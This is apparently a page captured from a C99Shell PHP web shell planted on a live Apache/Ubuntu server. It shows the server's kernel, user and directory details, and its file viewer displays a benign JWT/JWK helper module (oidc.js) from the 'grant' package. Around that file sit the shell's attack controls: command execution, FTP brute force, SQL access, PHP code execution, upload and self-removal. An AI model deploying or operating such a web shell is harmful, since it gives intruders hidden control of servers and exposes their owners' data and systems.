!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/grant/lib/   drwxr-xr-x
Free 13.23 GB of 57.97 GB (22.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     oidc.js (1.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
var crypto = require('crypto')


var base64url = (str) =>
  str.toString('base64').replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_')

var kid = (jwk) => {
  if (jwk.kid) {
    return jwk.kid
  }
  var keys =
    jwk.kty === 'RSA' ? {e: jwk.e, kty: jwk.kty, n: jwk.n} :
    jwk.kty === 'EC' ? {crv: jwk.crv, kty: jwk.kty, x: jwk.x, y: jwk.y} :
    jwk.kty === 'oct' ? {k: jwk.k, kty: jwk.kty} : undefined
  return keys
    ? base64url(crypto.createHash('sha256').update(JSON.stringify(keys)).digest())
    : undefined
}

var x5t = (cert) => {
  var s1 = cert.replace(/(?:-----(?:BEGIN|END) CERTIFICATE-----|\s)/g, '')
  var s2 = Buffer.from(s1, 'base64')
  var s3 = crypto.createHash('sha1').update(s2).digest('hex').toUpperCase()
  return base64url(Buffer.from(s3, 'hex'))
}

var pem = (jwk) => {
  var pem = require('jwk-to-pem')
  return pem(jwk, {private: true})
}

var sign = (jwt) => {
  var jws = require('jws')
  return jws.sign(jwt)
}

var jwt = (str) => {
  var [header, payload, signature] = str.split('.')
  return {
    header: JSON.parse(Buffer.from(header, 'base64').toString('binary')),
    payload: JSON.parse(Buffer.from(payload, 'base64').toString('utf8')),
    signature,
  }
}

module.exports = {base64url, kid, x5t, pem, sign, jwt}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0095 ]--